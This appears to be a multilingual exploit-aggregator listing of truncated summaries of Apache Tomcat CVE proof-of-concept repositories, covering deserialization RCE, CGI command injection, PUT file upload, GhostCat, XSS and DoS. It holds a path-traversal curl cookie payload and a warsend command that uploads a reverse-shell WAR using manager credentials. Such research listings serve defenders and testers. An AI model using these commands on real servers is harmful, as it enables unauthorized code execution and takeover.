CVE-2025-24813-Apache-Tomcat-Partial-PUT-Deserialization-RCE-

CVE-2025-24813 - Apache Tomcat: PUT الجزئي + إلغاء التسلسل RCE 📋 نظرة عامة CVE-2025-24813 هي ثغرة عالية الخطورة في Apache Tomcat تسمح بـ تنفيذ أكواد عن بُعد بدون مصادقة عند توفر ثلاثة شروط: 1. تم تفعيل حق الكتابة للـ servlet الافتراضي readonly=false. 2. تم تفعيل دعم PUT الجزئي افتراضي. 3. تم تكوي...

CVE-2017-12617

CVE-2017-12617 ثغرة تنفيذ الأوامر عن بُعد RCE حرجة تم اكتشافها في Apache Tomcat تتأثر الأنظمة التي لديها PUT ممكّن عبر ضبط معامل التهيئة "read-only" لـ Default servlet إلى "false". إصدارات Tomcat قبل 9.0.1 Beta، 8.5.23، 8.0.47 و 7.0.82 تحتوي على ثغرة تنفيذ أوامر عن بُعد RCE خطيرة محتملة على جميع...

TomcatKiller-CVE-2025-31650

TomcatKiller-CVE-2025-31650 أداة مصمَّمة لكشف الثغرة الأمنية CVE-2025-31650 في Apache Tomcat الإصدارات 10.1.10 إلى 10.1.39 تسمح هذه الثغرة للمهاجم بتفعيل تسرّب في الذاكرة عبر إرسال طلبات HTTP/2 مصمَّمة خصيصًا تحتوي على ترويسات أولوية غير صالحة، مما يؤدي إلى حالة حجب الخدمة DoS عبر OutOfMemoryErro...

CVE-2019-0232

Exploit CVE-2019-0232 Exécution de code à distance RCE dans le servlet CGI – Apache Tomcat sur Windows Référence : https://wwws.nightwatchcybersecurity.com/2019/04/30/remote-code-execution-rce-in-cgi-servlet-apache-tomcat-on-windows-cve-2019-0232/ root@kitploit: Apache Tomcat has a vulnerability ...

CVE-2020-9484

ثغرة إلغاء تسلسل Apache Tomcat CVE-2020-9484 إعداد الهدف المستضعَف استنسخ هذا المستودع شغّل docker-compose up -d هذا كل شيء ! استغلال POC شغّل curl -v 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../usr/local/tomcat/cfx يتم إنشاء ملف باسم coldfx في دليل tmp...

CVE-2026-50229

⚡ CVE-2026-50229 — Эксплойт XSS в примерах Apache Tomcat...

CVE-2025-24813

CVE-2025-24813 Apache Tomcat — удалённое выполнение кода через десериализацию сессии Неаутентифицированный частичный PUT + обход пути + десериализация через гаджеты Описание Экземпляры Apache Tomcat, в которых включён PUT для сервлета по умолчанию readonly=false, позволяют записывать файлы через...

CVE-2019-0232

CVE-2019-0232 Apache Tomcat CGIServlet enableCmdLineArguments RCE حقن سكريبت ويندوز الدفعي عبر وسائط سلسلة الاستعلام الوصف عند تمكين CGI servlet في Apache Tomcat مع enableCmdLineArguments=true، يتم تمرير معاملات سلسلة الاستعلام كوسائط سطر أوامر إلى سكريبتات CGI. على نظام ويندوز، تقوم الملفات...

CVE-2024-50379-POC

Exploitation et POC de CVE-2024-50379 Ce dépôt contient une preuve de concept POC pour CVE-2024-50379 , une vulnérabilité affectant Apache Tomcat. Le problème implique une condition de concurrence Time-of-Check Time-of-Use TOCTOU , qui peut conduire à une exécution de code à distance RCE , en...

CVE-2017-12617

البدء الغرض من هذا الإثبات المفاهيمي هو توضيح كيف يمكن استخدام CVE-2017-12617 من أجل الحصول على تحكم عن بُعد على خادم Apache Tomcat. التعليمات 1. يُرجى تنفيذ هذا الأمر لتشغيل الخادم. make serverup 2. نفّذ هذا الأمر لتنفيذ الهجوم ورفع شِيلَة ويب على الخادم يتطلب cURL. make attack إذا لم يفتح هذا...

cve-2025-24813-poc

CVE-2025-24813 إثبات المفهوم لاستغلال RCE في Apache Tomcat يحتوي هذا المستودع على استغلال إثبات المفهوم لـ CVE-2025-24813، وهي ثغرة إلغاء تسلسل Java في Apache Tomcat. بناءً على absholi7ly/POC-CVE-2025-24813/. المتطلبات الأساسية Docker الإعداد 1. تثبيت التبعيات: root@kitploit: uv venv source...

Apache Tomcat - HTTP Request Smuggling

Apache Tomcat from versions 8.5.0 to 8.5.93, 9.0.0-M1 to 9.0.81, 10.1.0-M1 to 10.1.13, and 11.0.0-M1 to 11.0.0-M11 contain an improper input validation caused by incorrect parsing of HTTP trailer headers, letting attackers craft headers to cause request smuggling, exploit requires sending malicio...

Apache Tomcat Examples Web Application - Cross-Site Scripting

Apache Tomcat 8.5.50 to 8.5.81, 9.0.30 to 9.0.64, 10.0.0-M1 to 10.0.22, and 10.1.0-M1 to 10.1.0-M16 contain a reflected cross-site scripting caused by displaying unfiltered user data in the Form authentication example, letting attackers execute scripts in victim browsers, exploit requires attacke...

Tomcat_PUT_GUI_EXP

TomcatPUTEXPV1.4 Графический инструмент эксплуатации уязвимости произвольной записи файлов методом PUT в Tomcat CVE-2017-12615 Описание уязвимости 19 сентября 2017 года Apache Tomcat официально подтвердил и исправил две критически опасные уязвимости, идентификаторы CVE: CVE-2017-12615 и...

CVE-2019-0232_tomcat_cgi_exploit

نص استغلال CGI لخادم Apache Tomcat الوصف نص برمجي بلغة Python مصمم لاستغلال ثغرات CGI في خوادم Apache Tomcat عن طريق تنفيذ اتصال شل عكسي. مثال الاستخدام الميزات استغلال آلي لثغرات CGI في Apache Tomcat معلمات هدف ومهاجم قابلة للتخصيص واجهة سطر أوامر بسيطة المتطلبات الأساسية Python 3.x مكتبة reques...

CVE-2025-24813

Описание Данный репозиторий представляет собой среду для воспроизведения последней RCE-уязвимости CVE-2025-24813 в Tomcat. Только для обучения и исследований! Условия эксплуатации В приложении включена функция записи DefaultServlet, которая по умолчанию отключена Приложение поддерживает частичные...

CVE-2019-0232

CVE-2019-0232 تحليل الثغرة وإثبات المفهوم PoC لـ Apache Tomcat - CGIServlet enableCmdLineArguments لتنفيذ الأكواد عن بُعد RCE فيديو الإثبات المفاهيمي PoC متاح على https://www.youtube.com/watch?v=RA7kzuHOWqA التفاصيل يحتوي Apache Tomcat على ثغرة أمنية في CGI Servlet، والتي يمكن استغلالها لتحقيق...

warsend

WARSend رفع شِل WAR عبر واجهة برمجة تطبيقات إدارة Apache Tomcat المتطلبات الأساسية بيانات الاعتماد Credentials الوصول إلى واجهة برمجة تطبيقات النص Text API الخاصة بمدير Tomcat root@kitploit: $ ./warsend.sh 10.10.14.232 8090 10.10.10.184 8080 tomcat $3cureP4s5w0rd! revshell | | / / | / / / / / | |...

GhostCat-LFI-exp

GhostCat-LFI-exp CVE-2020-1938 EXP original : https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi Seulement une modification a été apportée, permettant d'inclure exécuter localement n'importe quel fichier sous n'importe quel projet...

cve-2023-50164-poc

إثبات المفهوم لـ CVE-2023-50164 === التثبيت لتثبيت هذه الأداة، يجب أن يكون لديك إصدار Go 1.20 على الأقل مثبتًا ومُهيأً. $ go install github.com/dwisiswant0/cve-2023-50164-poc@latest بدلاً من ذلك، يمكنك تجميعها بنفسك: $ git clone http://github.com/dwisiswant0/cve-2023-50164-poc cve-2023-50164-poc/...